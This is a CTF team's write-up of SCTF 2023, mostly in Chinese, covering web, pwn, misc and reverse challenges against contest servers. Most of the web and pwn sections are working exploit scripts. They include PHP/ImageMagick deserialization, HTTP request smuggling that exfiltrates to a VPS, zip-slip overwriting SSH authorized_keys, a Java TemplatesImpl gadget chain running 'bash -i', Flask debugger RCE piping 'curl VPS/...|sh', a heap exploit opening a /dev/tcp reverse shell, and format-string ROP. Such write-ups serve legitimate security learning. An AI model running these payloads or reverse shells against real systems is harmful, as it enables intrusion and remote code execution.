SCTF 2023 By W&M
WEB
fumo_backdoor
- 反序列化ImageMagick 利用msl类型和vid:msl:/tmp/php* 执行msl脚本
- msl 用 mvg格式 把/flag 读到/tmp/b
- msl用inline可以base64 和8bim格式 写入一个session文件,用来反序列化
- 调用session_start,session被反序列化,休眠的时候被序列化触发sleep 读/tmp/b
import requests, base64, time
SERVER_ADDR = "http://182.92.6.230:18080/"
def del_tempd() -> None:
resp = requests.post(SERVER_ADDR, data={"cmd":"rm",})
print(resp.status_code)
def write_file(xml: str):
# Imagick("vid:msl:/tmp/php*")
unserialize = base64.b64decode(b'TzoxMzoiZnVtb19iYWNrZG9vciI6NDp7czo0OiJwYXRoIjtOO3M6NDoiYXJndiI7YToxOntpOjA7czoxNzoidmlkOm1zbDovdG1wL3BocCoiO31zOjQ6ImZ1bmMiO047czo1OiJjbGFzcyI7czo3OiJJbWFnaWNrIjt9')
resp = requests.post(SERVER_ADDR,files={"file":("exec1.msl",xml)},data={"cmd":"unserialze","data":unserialize})
print(resp.status_code)
def show_phpinfo() -> None:
print(SERVER_ADDR + "?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A14%3A%22vid%3Amsl%3A%2Ftmp%2Fa%22%3Bs%3A4%3A%22func%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D")
def get_new_php_session() -> str:
resp = requests.get(SERVER_ADDR + "?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A14%3A%22vid%3Amsl%3A%2Ftmp%2Fa%22%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D")
return resp.headers.get("Set-Cookie")[10:42]
def session_start(session_id: str) -> None:
resp = requests.get(SERVER_ADDR + "?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A2%3A%7Bs%3A4%3A%22path%22%3Bs%3A8%3A%22%2Ftmp%2Fyyz%22%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3B%7D", cookies={"PHPSESSID": session_id})
print(resp.text)
del_tempd()
time.sleep(2)
session_id = get_new_php_session()
print(session_id)
time.sleep(2)
del_tempd()
time.sleep(2)
xml = f'''<?xml version="1.0" encoding="UTF-8"?>
<group>
<image >
<read filename="mvg:/flag[20x20+20+20]"/>
</image>
<write filename="mvg:/tmp/yyz"/>
</group>
'''
xml2 = f'''<?xml version="1.0" encoding="UTF-8"?>
<group>
<image >
<read filename="inline:data:text/8BIM;base64,eXl6fE86MTM6ImZ1bW9fYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czo4OiIvdG1wL3l5eiI7czo0OiJmdW5jIjtzOjEzOiJzZXNzaW9uX3N0YXJ0Ijt9"/>
</image>
<write filename="8BIM:/tmp/sess_{session_id}"/>
</group>
'''
write_file(xml)
time.sleep(3)
write_file(xml2)
time.sleep(3)
session_start(session_id)
ezcheck1n
- 提示flag在2022.php
- 后端是 Server: Apache/2.4.54 (Debian) 中间件是 Server: Apache/2.4.55 (Unix)
- Request smuggling,url带出
http://115.239.215.75:8082/2023/%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/2022.php%3furl%3dVPS_ADDR:2333%253fa%253d
an4er_monitor
- 原型污染
- socketPath访问本地unix socket(高版本nodejs不行)
- http method设置为SET 执行
SET IsAdminSession HTTP/1.1
- 触发一次 check
- getflag
SERVER_ADDR="http://61.147.171.105:55252"
curl "${SERVER_ADDR}/api/server/import?urls.123=1.1.1.1"
curl "${SERVER_ADDR}/api/server/import?__proto__.socketPath=/run/redis/redis.sock&__proto__.setHost=&__proto__.method=SET&"
curl "${SERVER_ADDR}/api/server/check?hostname=1.1.1.1&port=undefined&path=IsAdminSession"
curl "${SERVER_ADDR}/api/server/getflag"
SycServer
- 反编译 或者 GIN_MODE=debug ./main运行得到路由列表
/file-unarchiver 解压zip
/readfile?file= 读文件
/readir 列出/tmp目录
/admin 对127.0.0.1:2221进行ssh访问
- 构造恶意zip 用../ 逃逸 可以写任意文件
- 在linux下设置文件的权限 用zip -u a.zip * 压缩 可以保留文件权限
- 写 /home/vanzy/.ssh/authorized_keys 必须保持权限700 并且保持/home/vanzy/.ssh/id_rsa的私钥对应 也是必须700权限
command="CMD" ssh-rsa XXXXX xxxxx
- /admin rce
- /flag只能root读取 /usr/bin/coreutils有suid 因此直接cat /flag就行
from makezip import makezip
import os,sys,requests
requests = requests.Session()
SERVER_ADDR = "http://159.138.131.31:8888"
def rce(cmd):
cmd = cmd + " > /home/vanzy/114 2>&1"
print(cmd)
requests.post(SERVER_ADDR + "/file-unarchiver", files={"file": ('aaa',makezip(cmd))})
requests.get(SERVER_ADDR + "/admin")
resp = requests.get(SERVER_ADDR + "/readfile?file=/home/vanzy/114")
print(resp.text)
while 1:
command = input("$ ")
rce(command)
import sys
import os
# 自行做一个ssh key 替换XXXX
def makezip(cmd):
aktpl = '''command="CMD" ssh-rsa XXXXXX XXX
'''
ak = aktpl.replace('CMD', cmd)
idrsatpl = '''-----BEGIN OPENSSH PRIVATE KEY-----
XXXXXX
-----END OPENSSH PRIVATE KEY-----
'''
idrsa = idrsatpl
os.system("mkdir /tmp/pack")
os.chdir("/tmp/pack")
os.system("rm -rf /tmp/pack/*")
with open("./BBAhomeAvanzyA.sshAid_rsa","w") as file:
file.write(idrsa)
with open("./BBAhomeAvanzyA.sshAauthorized_keys","w") as file:
file.write(ak)
os.system("chmod 700 *")
os.system("zip -u a.zip *")
with open("./a.zip","rb") as file:
data = file.read()
data = data.replace(b"BBAhomeAvanzyA.sshA",b"../home/vanzy/.ssh/")
with open("./a.zip","wb") as file:
file.write(data)
return data
#os.system("cp a.zip /mnt/e/events/sctf2023/web_SycServer/ziptest")
if __name__ == "__main__":
makezip(sys.argv[1])
hellojava
jacksoninject不能从json中获取。用空值绕过
http://blog.kuron3k0.vip/2021/04/10/vulns-of-misunderstanding-annotation/
rasp没用。直接打
用阿里ctf的。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("bash -c {echo,xxx}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
import com.Sctf.bean.Hello;
import com.Sctf.bean.MyBean;
import com.Sctf.controller.NoObjectInputStream;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.NotFoundException;
import scala.collection.immutable.LazyList;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
public class exp {
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NotFoundException, CannotCompileException {
TemplatesImpl obj = new TemplatesImpl();
byte[] bytes1 = ClassPool.getDefault().get(calc.class.getName()).toBytecode();
byte[][] bytecode = new byte[][]{bytes1};
setFieldValue(obj, "_bytecodes",bytecode);
setFieldValue(obj, "_name", "Guoke");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
setFieldValue(obj, "_sdom", new ThreadLocal());
POJONode a = new POJONode(obj);
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
XString xString = new XString("xx");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", a);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", a);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
setFieldValue(s, "table", tbl);
ByteArrayOutputStream bytes = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bytes);
objectOutputStream.writeObject(s);
byte[] output = Base64.getEncoder().encode(bytes.toByteArray());
InputStream inputStream = new ByteArrayInputStream(java.util.Base64.getDecoder().decode(output));
System.out.println(new String(output));
NoObjectInputStream NoInputStream = new NoObjectInputStream(inputStream);
Object obj1 = NoInputStream.readObject();
}
}
pypyp
- PHP_SESSION_UPLOAD_PROGRESS 强制session start
- 反序列化,SplFileObject读文件 ,算flask pin
因为读不到cookie,所以cookie要算出来
cookie里的pin_hash和cookie_name都可以算,时间戳=当前时间
- 反序列化,打127.0.0.1:5000的flask的debugger
用到file_get_contents读取secret, 和SoapClient发送cookie
- curl提权读/flag
from io import StringIO
import base64
import requests
import time
import subprocess
import re
def execWithResult(command):
p = subprocess.Popen(command, shell=False, stdout=subprocess.PIPE)
return p.stdout.read().strip()
rs = requests.Session()
rs.proxies = {'http':"http://172.27.224.1:4476"}
REMOTE=True
if REMOTE:
SERVER_ADDR = "http://115.239.215.75:8081/"
COOKIE_NAME = "__wzdb2a60e2b19822632a67c"
HASHED_TOKEN = "11b8517fb9fb"
PIN = '121-260-582'
else:
PIN = "140-413-975"
COOKIE_NAME = "__wzd778f605a370f37ccd388"
HASHED_TOKEN = "29c5d5b0e280"
SERVER_ADDR = "http://172.27.237.96:8081/"
resp = rs.post(SERVER_ADDR,files={"file":("aaa",StringIO("123"))},
cookies={"PHPSESSID":""+'a'*32},
data={"PHP_SESSION_UPLOAD_PROGRESS":"123",
"data":base64.b64decode(execWithResult(['php','make_ssrf1.php','/console']))}
)
# print(resp.text)
# regex to match SECRET = "DhOJxtvMXCtezvKtqaK9";
regex = r'SECRET = "([a-zA-Z0-9]*)"'
secret = re.findall(regex, resp.text)[0]
print("secret",secret)
resp = rs.post(SERVER_ADDR,files={"file":("aaa",StringIO("123"))},
cookies={"PHPSESSID":""+'a'*32},
data={"PHP_SESSION_UPLOAD_PROGRESS":"123",
"data":base64.b64decode(execWithResult(['php','make_ssrf1.php','/console?__debugger__=yes&cmd=pinauth&pin=PIN&s=SECRET'.replace('PIN',PIN).replace('SECRET',secret)]))}
)
print(resp.text.split("this is the object:")[1])
TIME = str(int(time.time())-2)
URL = "http://127.0.0.1:5000/" + "console?&__debugger__=yes&cmd=__import__(%22os%22).popen(%22curl+VPS%2Fx%2Fs1%7Csh%22).read()&frm=0&s=SECRET".replace('SECRET',secret)
cookie = COOKIE_NAME + "=" +TIME +"|"+ HASHED_TOKEN
obj = execWithResult(['php','soap.php',URL,cookie])
resp = rs.post(SERVER_ADDR,files={"file":("aaa",StringIO("123"))},
cookies={"PHPSESSID":""+'a'*32},
data={"PHP_SESSION_UPLOAD_PROGRESS":"123",
"data":base64.b64decode(obj)}
)
print(resp.status_code)
<?php
$URL=$argv[1];
$COOKIE=$argv[2];
$target = $URL;
$target1 = str_replace('http://127.0.0.1:5001','',$target);
$post_string = 'data=something';
$headers = array(
'Cookie: '.$COOKIE
);
$properties = array('location' => $target,'user_agent'=>'114^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string.'^^^^'.'GET '.$target."HTTP/1.1^^Host:111^^Cookie: ".$COOKIE."^^^^",'uri' => "aaab");
$properties = new SoapClient(null, $properties);
$properties = (serialize($properties));
$properties = str_replace('^^',"\r\n",$properties);
$properties = str_replace('&','&',$properties);
$properties = urlencode(($properties));
$a = array(
"type" => "SoapClient",
"properties" => $properties
);
$ser = serialize($a);
echo base64_encode($ser);
<?php
$a=array("properties" => $argv[1]);
echo base64_encode(serialize($a));
<?php
//读文件。
$FILENAME='/tmp/a';
$a=array("type" => "SplFileObject", "properties" => array("php://filter/convert.base64-encode/resource=".$FILENAME,"r"));
echo base64_encode(serialize($a));
MISC
Signin
010 editor 修改flag/为flag1解压
Genshin Impact
VanZY被逮到在实验室打原神,看到白哥进来,立马关上了电脑,白哥用黑客技术打开了他的电脑,然而桌面上只留下了一个流量包,白哥不会看流量包,你能帮他看看吗
VanZY was caught playing Genshin Impact in the laboratory, and when he saw Siebene@ coming in, he immediately shut down the computer. Siebene@ used hacking techniques to open his computer, but there was only one traffic packet left on the desktop, and Siebene@ didn’t know how to read the traffic Bao, can you take a look for him?
attachment link:https://drive.google.com/file/d/1Hs0-8c91EQ3t_sBrrevhN766P1w2f1FD/view?usp=sharing
百度云:https://pan.baidu.com/s/1dP_QLAjvW0evhP7TmAbO8Q?pwd=SCTF
提取码:SCTF
视频底下一个评论是 就你小子米游社uid是Rd/xRtmqSdit是吧
base64表是3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
解出来是197370563
米游社:https://www.miyoushe.com/ys/accountCenter/postList?id=197370563
damn brackets
pragma solidity ^0.8.12;
interface valid{
function isValid(string memory )external view returns(uint);
}
interface tes{
function deploy(uint salt,bytes memory code)external returns(address);
}
contract Deployer {
constructor(bytes memory code) payable { assembly { return (add(code, 0x20), mload(code)) } }
}
contract Setup {
uint private solved ;
mapping(uint=>string) private char;
mapping(string=>bool) private checker;
constructor(){
char[0] = "({}{})"; checker["({}{})"] = true;
char[1] = "[]{(}](])))"; checker["[]{(}](])))"] = false;
char[2] = "{}{[]}"; checker["{}{[]}"] = true;
char[3] = "(({))](([{"; checker["(({))](([{"] = false;
char[4] = "(){(()()(("; checker["(){(()()(("] = false;
char[5] = "{{()([]"; checker["{{()([]"] = false;
char[6] = "({}}{(("; checker["({}}{(("] = false;
char[7] = "}({[](]{}([}({"; checker["}({[](]{}([}({"] = false;
char[8] = "(()){}"; checker["(()){}"] = true;
char[9] = "[()]()"; checker["[()]()"] = true;
char[10] = "(([]))"; checker["(([]))"] = true;
char[11] = ")[{{}(]("; checker[")[{{}(]("] = false;
char[12] = "))][{]]}"; checker["))][{]]}"] = false;
char[13] = "(){}()"; checker["(){}()"] = true;
char[14] = "{}[{}]"; checker["{}[{}]"] = true;
char[15] = "](])]}{])(}}})"; checker["](])]}{])(}}})"] = false;
char[16] = "{}{}[]"; checker["{}{}[]"] = true;
char[17] = "}}()](}]][{(("; checker["}}()](}]][{(("] = false;
char[18] = "((()))"; checker["((()))"] = true;
char[19] = "[)}[(]])([)"; checker["[)}[(]])([)"] = false;
char[20] = "}]](}{)"; checker["}]](}{)"] = false;
char[21] = "[]{()}"; checker["[]{()}"] = true;
char[22] = "()()()"; checker["()()()"] = true;
char[23] = "([[{}]]{})"; checker["([[{}]]{})"] = true;
char[24] = "){]([])"; checker["){]([])"] = false;
char[25] = "[)[]({"; checker["[)[]({"] = false;
char[26] = "(){[]}"; checker["(){[]}"] = true;
char[27] = "[(]]}{]}{]"; checker["[(]]}{]}{]"] = false;
char[28] = "{[]{()}}"; checker["{[]{()}}"] = true;
char[29] = "{}]}]}{{{{{"; checker["{}]}]}{{{{{"] = false;
char[30] = "{({{{]{][][["; checker["{({{{]{][][["] = false;
char[31] = "{}[]{}"; checker["{}[]{}"] = true;
}
function solve(address target) external {
uint x;
assembly{
x := extcodesize(target)
}
require(x > 0 && x <= 0xfb);
for (uint i = 0;i<32;i++){
uint res = valid(target).isValid(char[i])>>0xf8;
bool flag = res == 0 ? false : true;
bool flag0 = flag == checker[char[i]] ? true : false;
if(flag0){
solved++;
}
else{
solved = 0;
}
}
}
function isSolved() external view returns (bool) {
return solved >= 32;
}
}
直接上车
eth.getBlock(172103,true).transactions
eth.getBlock(172104,true).transactions
看有个solve的字节码
后面36b1就是不知道哪个幸运观众的地址了,复制粘贴solve直接拿下
bittorrent
- 提取dht.dat中的节点信息
import struct
import socket
def decode_nodes(nodes):
n = []
length = len(nodes)
if (length % 56) != 0:
return n
for i in range(0, length, 56):
node_id = nodes[i:i+8]
ip = ".".join([str(j) for j in nodes[i+8:i+12]])
port = int.from_bytes(nodes[i+12:i+14], byteorder='big')
n.append((node_id, ip, port))
return n
with open("dht.dat", "rb") as f:
data = f.read()[56:]
nodes = decode_nodes(data)
for node in nodes:
print("Node ID: ", node[0].hex())
print("IP: ", node[1])
print("Port: ", node[2])
- 其中有一个节点
http://159.138.22.50:6969/
http访问 提示 not powerful - 扫描端口。找到节点的8080端口开放了http服务,扫描路径发现是/root下开了一个httpd,
访问 http://159.138.22.50:8080/.viminfo 猜想得知 需要user agent包含"aria2"才能powerful
curl ``http://159.138.22.50:6969/announce`` -v --header "User-Agent: aria2"
curl ``http://159.138.22.50:6969/nginx_just_a_simple_logo.png`` -v --header "User-Agent: aria2" -o nginx_just_a_simple_logo.png
- png末尾加了一个 zip,提示
Do you remember the last time we update dht.dat?
dht.dat的修改日期 时间戳 dht.dat的第13到16字节 0x6462e61c 1684203036
- zip解压出来是flag.torrent 是一个torrent,但是tracker是127.0.0.1:8080无法访问
每个piece四个字,第一个piece拿去查表,可以查到SCTF
hashs=["e4af700f9921ed71c190316cd5564f8ce1303f94","b4aa9bc1e62e19828a370c50a4cff71bd9736bb4","ad2af979abd26a0a35cca0218f32277d01b7f7d3","f9ccf51238cbee2ee8282f28ff1a526a8a39d8e4","89b4ebdc6413bec34138a3b63f23671932ea5696","9329c7181085b1d6484e4fbc826fb3c25ca25f32","ab4400a33c16525c50a2e6dda8c05eacd5b3d7f0","386b00cd1573492bf3dd76da57eb73759c7de8e1","9de01d0bc2f7b7440b99e96daaf372f93e53b140"]
from hashlib import sha1
import string
dict=string.digits+string.ascii_letters+"{}_"
print("SCTF",end="")
for i in hashs:
for a in dict:
for b in dict:
for c in dict:
for d in dict:
data=str(a)+str(b)+str(c)+str(d)
tmp=sha1(data.encode()).hexdigest()
if tmp==i:
print(data,end="")
break
continue
continue
continue
continue
# SCTF{du4nq1k3_l0v3s_d0wnlO4d1ng_t0rRent}
Fly over the Fuchun River
SCTF{CTU_HGH_EU2259_413}
PWN
ancient cgi
CONTENT_LENGTH未校验,有栈溢出
有入口吗?没找到对应cgi的url
要在给的链接那里注册账号,启动容器
注册账号那里一直sqlpool错误==
def pwn():
url="http://94.74.101.210:49184/vip.cgi"
payload=b'SCTF_VIP'.ljust(0xe0,b'\0')
payload+=pack(0x401129)
r = requests.post(url, data=payload)
然后打开 http://94.74.101.210:49184/key.txt
就可以
Brave Knights and Rusty Swords
要用到上一题的key起环境
key{Pwn_CGI}
Patch
第一个参数为指针,第二个为长度
- 把第一个指针内容 patch 为你的网卡名称
- 第二个长度 patch 为网卡名称长度
EXP
from pwn import *
from tqdm import *
context.log_level = "debug"
sh = remote('94.74.101.210', 49274, typ='udp')
#sh = remote('192.168.140.131', 8080, typ='udp')
libc = ELF('./libc-2.27.so')
sh.sendline('register wjh7 wjh7')
sh.recvuntil('Registration successful!')
sh.sendline("login wjh7 wjh7")
sh.sendline("purchase 100")
sh.recvuntil('Purchase successful!')
sh.sendline("draw_000001")
sh.sendline("show_infomation")
for i in range(5):
sh.sendline("fight")
sh.recvuntil('Please select a character to fight:')
sh.sendline("2")
sh.sendline("attack")
sh.sendline("flee")
sh.interactive()
sh.recvuntil('Congratulations! You have reached level 10', timeout=1)
context.log_level = "info"
sh.sendline('Data_testing_console')
sh.sendlineafter("Enter function name:", "system")
sh.recvuntil('The address of system() is: ')
system_addr = int(sh.recvuntil('Enter', drop=True), 16)
libc_base = system_addr - libc.sym['system']
log.success("libc_base:\t" + hex(libc_base))
sh.sendlineafter("command: ", "data_push")
def push(idx, n):
sh.sendlineafter("Enter the operation: ", "push")
sh.sendlineafter("Enter the vector number: ", str(idx))
sh.sendlineafter("push value: ", str(n))
def grow(idx, n):
sh.sendlineafter("Enter the operation: ", "grow")
sh.sendlineafter("Enter the vector number: ", str(idx))
sh.sendlineafter("Enter the grow value: ", str(n))
def push_data(idx, data):
for i in data:
push(idx, ord(i))
print('part 1')
for i in tqdm(range(0x401)):
push(1, 0x11)
print('part 2')
grow(1, 0x800)
for i in tqdm(range(0x201)):
push(2, 0x22)
print('part 3')
for i in tqdm(range(0x201)):
push(3, 0x33)
print('part 4')
for i in tqdm(range(0x201)):
push(4, 0x44)
print('part 5')
grow(3, 0x400)
grow(4, 0x400)
push_data(1, '\xff' * 7 + p64(0x411) + p64(libc_base + libc.sym['__free_hook'] - 0x40))
for i in tqdm(range(0x201)):
push(5, 0x55)
print('part 6')
push_data(6, "/bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/2333 0>&1'".ljust(0x40, '\x00') + p64(
libc_base + libc.sym['system']))
for i in tqdm(range(0x201 - 0x48)):
push(6, 0x66)
sh.interactive()
Compiler
# encoding: utf-8
from pwn import *
#sh = process('./trans_IR')
sh = remote('119.13.77.77', 2102)
context.arch = "amd64"
context.log_level = "debug"
def choice(idx):
sh.sendlineafter("5.exit", str(idx))
def getIR():
choice(1)
def input_code(data):
choice(4)
sh.sendafter("input code: ", data.ljust(0x400, '\x00'))
def fmt_attack(fmt):
data = ""
for i in fmt:
data += '[' + str(ord(i)) + ']'
input_code('''
int main()
{
int x[9999999][99999];
int a[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0]%s;
}
''' % (data))
getIR()
fmt_attack('%10$p')
sh.recvuntil('ARRAY 0x')
libc_base = int(sh.recvuntil('(int)[0]', drop=True), 16) - 0x1ed6a0
log.success("libc_base:\t" + hex(libc_base))
fmt_attack('%1327$p')
sh.recvuntil('ARRAY 0x')
stack = int(sh.recvuntil('(int)[0]', drop=True), 16) - 0xf0
log.success("stack:\t" + hex(stack))
fmt_attack('%31$p')
sh.recvuntil('ARRAY 0x')
canary = int(sh.recvuntil('(int)[0]', drop=True), 16)
log.success("canary:\t" + hex(canary))
fmt_attack('%9$p')
sh.recvuntil('ARRAY 0x')
pie = int(sh.recvuntil('(int)[0]', drop=True), 16) - 0x63ad
log.success("pie:\t" + hex(pie))
def write_data(addr, data):
writen = 8 + 9
for i in data:
x = (ord(i) - writen + 0x100) & 0xff
fmt_attack('%7$hn%{}caaaaaaaaa%1314$hn'.format((addr - writen + 0x10000) & 0xFFFF))
if x == 0:
fmt_attack('%7$hn%aaaaaaaaa%1320$hhn')
else:
fmt_attack('%7$hn%{}caaaaaaaaa%1320$hhn'.format(x & 0xff))
addr += 1
libc_gadget = libc_base + 0x61d4f
write_data(stack - 0x48, p64(libc_gadget))
pop_rdi_addr = libc_base + 0x23b6a
system_addr = libc_base + 0x52290
bin_sh_addr = libc_base + 0x1b45bd
write_data(stack - 0x48 + 0x8 + 0xd8, p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr))
log.hexdump("stack - 0x48:\t" + hex(stack - 0x48))
addr = stack - 0x50
writen = 8 + 9
fmt_attack('%7$hn%{}caaaaaaaaa%1314$hn'.format((addr - writen + 0x10000) & 0xFFFF))
#gdb.attach(sh, "b *$rebase(0x00000000000057A0)\nb *$rebase(0x0000000000006772)\n b *printf_positional+9099")
fmt_attack('%7$hn%{}caaaaaaaaa%1320$hn'.format((pie + 0x000000000000CEFA - writen) & 0xffff))
sh.interactive()
Reverse
Syclang
trans_IR没有实现IR->asm,也没有实现IR->bin和asm->bin,应该是自己实现IR到C的lifting
或者手逆IR(X
- 可以通过创建一个test.c然后通过选项1编译,也可以通过选项4手动输源码编译(编译到IR)
int main() {
int a = 1, b = 2;
return a + b;
}
函数定义:
类型: int
函数名:main
无参函数
复合语句:
复合语句的变量定义:
变量定义:
类型: int
变量:
ID: a ASSIGNOP
INT:1
ID: b ASSIGNOP
INT:2
复合语句的语句部分:
返回语句:
PLUS
ID: a
ID: b
Symbol Table
-------------------------------------------------------------------
Index Name Level Type Flag Num Array
-------------------------------------------------------------------
0 main 0 int F 0
1 a 1 int v 0
2 1 int t 0
3 b 1 char v 0
4 1 int t 0
-------------------------------------------------------------------
Symbol Table
-------------------------------------------------------------------
Index Name Level Type Flag Num Array
-------------------------------------------------------------------
0 main 0 int F 0
-------------------------------------------------------------------
FUNCTION main - 16 :
temp1 := #1
var2<+8> := temp1
temp2 := #2
var3<+16> := temp2
temp3 := var2<+8> + var3<+16>
RETURN temp3
LABEL Flabelmain :
- 选项3是把demo.s编译成可执行文件,感觉如果把IR反编译回C比较难,预期解应该是把IR map成汇编
- 试了一下用gpt把IR翻译为asm,然后clang编译
"上述是一种未知格式的IR,请你把它转换为linux下可编译的.s代码"
.data
var5: .word 0
var6: .word 0
.text
.globl main
main:
mov $1, %eax # temp4 := #1
mov %eax, var5 # var5<+8> := temp4
mov $2, %eax # temp5 := #2
mov %eax, var6 # var6<+16> := temp5
mov var5, %eax # temp6 := var5<+8>
add var6, %eax # temp6 := temp6 + var6<+16>
ret
.section .rodata
Flabelmain: .asciz
效果↓
- 也可以试下转成llvm ir
不要这么干,gpt很容易搞错指针变量和普通变量
- 想到一个思路:正则表达式替换成C代码,然后重编译IDA看
部分为corner case的IR自己手动改成C代码
import re
with open('recover.txt', 'r') as f:
buf = f.read()
pattern = r'var\d+<\+\d+>'
matches = re.findall(pattern, buf)
print(matches)
pattern = r':='
matches = re.findall(pattern, buf)
print(matches)
def replace(match):
equal = match.group(0)[1:]
return equal
buf = re.sub(pattern, replace, buf, flags=re.IGNORECASE)
pattern = r'GOTO label\d+'
matches = re.findall(pattern, buf)
print(matches)
def replace(match):
goto = match.group(0).lower()
return goto
buf = re.sub(pattern, replace, buf, flags=re.IGNORECASE)
pattern = r'LABEL\s+label\d+ :'
matches = re.findall(pattern, buf)
print(matches)
def replace(match):
label = match.group(0).replace('LABEL ', '').replace(' :', ':')
return label
buf = re.sub(pattern, replace, buf, flags=re.IGNORECASE)
pattern = r'#\d+'
matches = re.findall(pattern, buf)
print(matches)
def replace(match):
number = match.group(0)[1:]
return number
buf = re.sub(pattern, replace, buf, flags=re.IGNORECASE)
pattern = r'var\d+\(@exp.key\[\d+\]\)<\+\d+><\+\d+>'
matches = re.findall(pattern, buf)
print(matches)
def replace(match):
prefix = match.group(0).split('(')[0] + '_'
var = match.group(0).split('(')[1].split(')')[0].replace('@', '')
return prefix + var
buf = re.sub(pattern, replace, buf, flags=re.IGNORECASE)
pattern = r'var\d+\(@exp.L\[\d+\]\)<\+\d+><\+\d+>'
matches = re.findall(pattern, buf)
print(matches)
def replace(match):
prefix = match.group(0).split('(')[0] + '_'
var = match.group(0).split('(')[1].split(')')[0].replace('@', '')
return prefix + var
buf = re.sub(pattern, replace, buf, flags=re.IGNORECASE)
pattern = r'var\d+\(@exp.R\[\d+\]\)<\+\d+><\+\d+>'
matches = re.findall(pattern, buf)
print(matches)
def replace(match):
prefix = match.group(0).split('(')[0] + '_'
var = match.group(0).split('(')[1].split(')')[0].replace('@', '')
return prefix + var
buf = re.sub(pattern, replace, buf, flags=re.IGNORECASE)
pattern = r'var\d+\(@exp.X\[\d+\]\)<\+\d+><\+\d+>'
matches = re.findall(pattern, buf)
print(matches)
def replace(match):
prefix = match.group(0).split('(')[0] + '_'
var = match.group(0).split('(')[1].split(')')[0].replace('@', '')
return prefix + var
buf = re.sub(pattern, replace, buf, flags=re.IGNORECASE)
pattern = r'IF\s+var\d+<\+\d+>\s+<\s+temp\d+'
matches = re.findall(pattern, buf)
print(matches)
def replace(match):
split = match.group(0).split(' ')
split[0] = split[0].lower()
split[1] = "(" + split[1]
split[3] = split[3] + ")"
return " ".join(split)
buf = re.sub(pattern, replace, buf, flags=re.IGNORECASE)
pattern = r'var\d+<\+\d+>'
matches = re.findall(pattern, buf)
print(matches)
def replace(match):
split = match.group(0).split('<')[0]
return split
buf = re.sub(pattern, replace, buf, flags=re.IGNORECASE)
pattern = r'#!tempa = \{\d+\}\*\{var\d+\}\n var\d+ = var\d+_exp.\w+\[0\]<\+tempa>'
matches = re.findall(pattern, buf)
print(matches)
def replace(match):
idx = match.group(0).split('{')[2].split('}')[0]
ori = match.group(0).split('\n')[1]
ori = ori.replace(']<+tempa>', ' + ' + idx + ']')
return ori
buf = re.sub(pattern, replace, buf, flags=re.IGNORECASE)
pattern = r'#!tempa = \{\d+\}\*\{var\d+\}\n var\d+_exp.\w+\[0\]<\+tempa> = var\d+'
matches = re.findall(pattern, buf)
print(matches)
def replace(match):
idx = match.group(0).split('{')[2].split('}')[0]
ori = match.group(0).split('\n')[1]
ori = ori.replace(']<+tempa>', ' + ' + idx + ']')
return ori
buf = re.sub(pattern, replace, buf, flags=re.IGNORECASE)
print(buf)
with open('ori.c', 'r') as f:
res = ''
while True:
line = f.readline()
if not line:
break
